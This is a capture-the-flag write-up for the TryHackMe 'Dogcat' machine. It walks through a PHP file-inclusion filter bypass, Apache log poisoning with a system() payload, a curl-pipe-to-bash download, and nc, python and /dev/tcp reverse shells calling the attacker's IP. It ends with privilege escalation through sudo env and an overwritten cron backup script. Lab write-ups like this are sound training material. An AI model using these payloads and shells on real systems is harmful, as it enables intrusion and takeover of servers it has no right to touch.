Dogcat TryHackMe Write Up

9 minute read

yearofthepig

I made this website for viewing cat and dog images with PHP. If you’re feeling down, come look at some dogs/cats! This machine may take a few minutes to fully start up.

Dogcat is a medium rated linux box on TryHackMe by jammy. Using LFI, we retrieve the content of the PHP files on the webserver and use ability to read Apache log files to get a shell on a docker container as www-data and finally using a cron we manage to get a root shell on the host.

Port Scan

All Port Scan

[email protected]:~/Documents/tryhackme/dogcat$ nmap -p- --min-rate 10000 -v 10.10.20.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-17 15:22 +0545
Nmap scan report for 10.10.20.161
Host is up (0.40s latency).
Not shown: 65451 closed ports, 82 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.27 seconds

Detail Scan

[email protected]:~/Documents/tryhackme/dogcat$ nmap -p22,80 -sC -sV 10.10.20.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-17 15:23 +0545
Nmap scan report for 10.10.20.161
Host is up (0.39s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds

HTTP service on Port 80

1

Here we have two options which we like to see, ie either a dog or a cat.

Clicking on dog

2

Directory and folder bruteforcing

[email protected]:~/Documents/tryhackme/dogcat$ gobuster dir -u http://10.10.20.161/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.20.161/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/11/17 15:23:57 Starting gobuster
===============================================================
/index.php (Status: 200)
/cat.php (Status: 200)
/flag.php (Status: 200)
/cats (Status: 301)
/dogs (Status: 301)
/dog.php (Status: 200)

Lets analayse the previous request on burp. Since on the request there was /?view=dog, and result of gobuster shows us that it contain a file called dog.php, So I thought the view parameter might be loading a file and appending .php at the end.

Hypothesis

if isset($_GET['view']){
    include($_GET['view'] . 'php')
}

Request

GET /?view=dog.php HTTP/1.1
Host: 10.10.20.161
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.20.161/
Upgrade-Insecure-Requests: 1

Partial Request

</b>:  include(): Failed opening 'dog.php.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b>

And it turns out our hypothesis is actually correct. Now, lets try to include a /etc/passwd file and try use null byte %00 to terminate and neutralize that appended .php string. This works for php 5 but not for php 7.

Request

/?view=../../../../../../etc/passwd%00

Response

Sorry, only dogs or cats are allowed. 

It turns out there is some checks on the backend that only supports the filename with dogs and cats.

Updated Hypothesis

if (isset($_GET['view']) and 'dog | cat' in $_GET['cmd']){
    include($_GET['view'] . 'php');
}
else{
echo 'Sorry, only dogs or cats are allowed.';
}

If this is the case we can easily bypass this using /?view=dog../../../../../../etc/passwd%00

Request

/?view=dog../../../../../../etc/passwd%00

Request

</b>:  include(): Failed opening 'dog../../../../../../etc/passwd' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b>

We get a different error this time which means the check is bypassed and looks like we can only include php files but the problem with that is we can not actually view them as the code will be executed.

Lets check if we can include other php files.

Request

/?view=dog../../../../../../var/www/html/index

Response

</b>:  Cannot redeclare containsStr() (previously declared in /var/www/html/index.php:17) in <b>/var/www/html/index.php</b>

Looks like it worked and is not included as it is already included on the php script.

Extracting the content of php file using the php filters

Request

/?view=php://filter/convert.base64-encode/resource=dog../../../../../../var/www/html/index

Response

Here you go!PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0b+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlY+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxka+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZ+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhd+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48Y+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmVXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==    

Decoded content

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

Looking at the source code, it looks like we have a lfi where we can extract the content of any files we want as we can use ext parameter to specify the extension of the file we want to read.

LFI to RCE

We can read sensitive files, so what? It would be great if we could read a private key for a user if he/she has one in his/her .ssh directory. But turned out here was not. So I kept searching for the ways to use this lfi to get rce. This post explains different ways to achieve code execution using a local file inclusion. We can achieve this if we have permissions to read one of these files:

  • /var/log/apache/access.log
  • /var/log/apache/error.log
  • /var/log/vsftpd.log
  • /var/log/sshd.log
  • /var/log/mail
  • /proc/self/environ
  • /proc/self/fd

I manually checked if our user has permissions to read any of the log file and it turned out that we can read apache2 log file in /var/log/apache2/access.log.

3 As the User-Agent is reflected on the page, lets make a request with <?php system($_GET['cmd'] ?> as our User-Agent.

Request

GET / HTTP/1.1
Host: 10.10.100.11
User-Agent: <?php system($_GET['cmd']) ; ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Trying to execute code

4

We get code execution.

Getting a reverse shell as www-data

Listening on our box

[email protected]:~/Documents/tryhackme/dogcat$ nc -nvlp 9001
Listening on 0.0.0.0 9001

I like to host a file on python server and get it on the server and execute it to get the shell.

Content of shell.sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 9001 >/tmp/f

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash -i >& /dev/tcp/10.6.31.213/9001 0>&1

Starting a python server

[email protected]:~/Documents/tryhackme/dogcat$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Downloading and Executing the payload

GET /?view=dog../../../../../../../../var/log/apache2/access.log&ext=&cmd=curl%20%2010.6.31.213:8000/shell.sh%20|%20bash

And if we check the netcat listener we get a shell back.

[email protected]:~/Documents/tryhackme/dogcat$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.100.11 48928
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/html$ 

Privilege Escalation

Looking on the root directory, we can see the .dockerenv file which indicates that we are inside a docker container.

[email protected]:/var/www/html$ ls -la / 
ls -la /
total 80
drwxr-xr-x   1 root root 4096 Nov 18 06:52 .
drwxr-xr-x   1 root root 4096 Nov 18 06:52 ..
-rwxr-xr-x   1 root root    0 Nov 18 06:52 .dockerenv
drwxr-xr-x   1 root root 4096 Feb 26  2020 bin
drwxr-xr-x   2 root root 4096 Feb  1  2020 boot
drwxr-xr-x   5 root root  340 Nov 18 06:52 dev
drwxr-xr-x   1 root root 4096 Nov 18 06:52 etc
drwxr-xr-x   2 root root 4096 Feb  1  2020 home
drwxr-xr-x   1 root root 4096 Feb 26  2020 lib
drwxr-xr-x   2 root root 4096 Feb 24  2020 lib64
drwxr-xr-x   2 root root 4096 Feb 24  2020 media
drwxr-xr-x   2 root root 4096 Feb 24  2020 mnt
drwxr-xr-x   1 root root 4096 Nov 18 06:52 opt
dr-xr-xr-x 106 root root    0 Nov 18 06:52 proc
drwx------   1 root root 4096 Mar 10  2020 root
drwxr-xr-x   1 root root 4096 Feb 26  2020 run
drwxr-xr-x   1 root root 4096 Feb 26  2020 sbin
drwxr-xr-x   2 root root 4096 Feb 24  2020 srv
dr-xr-xr-x  13 root root    0 Nov 18 07:06 sys
drwxrwxrwt   1 root root 4096 Nov 18 07:06 tmp
drwxr-xr-x   1 root root 4096 Feb 24  2020 usr
drwxr-xr-x   1 root root 4096 Feb 26  2020 var

Checking sudo -l

[email protected]:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on 15c6fc793861:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 15c6fc793861:
    (root) NOPASSWD: /usr/bin/env

Getting a root shell

[email protected]:/var/www/html$ sudo /usr/bin/env /bin/sh
sudo /usr/bin/env /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)

Root shell on the host

Looking around there is a backup directory in /opt

ls -la /opt
total 12
drwxr-xr-x 1 root root 4096 Nov 18 06:52 .
drwxr-xr-x 1 root root 4096 Nov 18 06:52 ..
drwxr-xr-x 2 root root 4096 Apr  8  2020 backups

Content inside /opt/backups

ls -la /opt/backups
total 2892
drwxr-xr-x 2 root root    4096 Apr  8  2020 .
drwxr-xr-x 1 root root    4096 Nov 18 06:52 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Nov 18 07:09 backup.tar

Content of backup.sh

cat /opt/backups/backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

This script makes the backup of everything inside /root/container directory and makes a archive called backup.tar which we also can see on /opt/backups inside the docker container.

Checking if the backup is done periodically

ls -la /opt/backups/
total 2892
drwxr-xr-x 2 root root    4096 Apr  8  2020 .
drwxr-xr-x 1 root root    4096 Nov 18 06:52 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Nov 18 07:11 backup.tar

The timestamp on the previous backup.tar was 07:09 and the timestamp on the new one is 07:11 which means the script is being executed using cron job in some time interval. As we are root on the docker container, lets update the content of the backup.sh with our reverse shell content and get a reverse shell as root on the host box.

Listening on local box

[email protected]:~/Documents/tryhackme/dogcat$ nc -nvlp 9001
Listening on 0.0.0.0 9001

Downloading shell.sh

which curl
/usr/bin/curl

curl 10.6.31.213:8000/shell.sh -o /opt/backups/backup.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   581  100   581    0     0    798      0 --:--:-- --:--:-- --:--:--   796

cat /opt/backups/backup.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 9001 >/tmp/f

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash -i >& /dev/tcp/10.6.31.213/9001 0>&1

Then we wait for the cron to execute the script. And if we check the netcat listener after some time, we get a shell.

[email protected]:~/Documents/tryhackme/dogcat$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.100.11 56502
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Reading root flag

# ls -la /root
total 40
drwx------  6 root root 4096 Apr  8  2020 .
drwxr-xr-x 24 root root 4096 Apr  8  2020 ..
lrwxrwxrwx  1 root root    9 Mar 10  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Apr  8  2020 .cache
drwxr-xr-x  5 root root 4096 Mar 10  2020 container
-rw-r--r--  1 root root   80 Mar 10  2020 flag4.txt
drwx------  3 root root 4096 Apr  8  2020 .gnupg
drwxr-xr-x  3 root root 4096 Apr  8  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Mar 10  2020 .selected_editor
# cat /root/flag4.txt
THM{esc******ns_on_es*******s_on_es*****ions_7a52b1*************cba02d}
#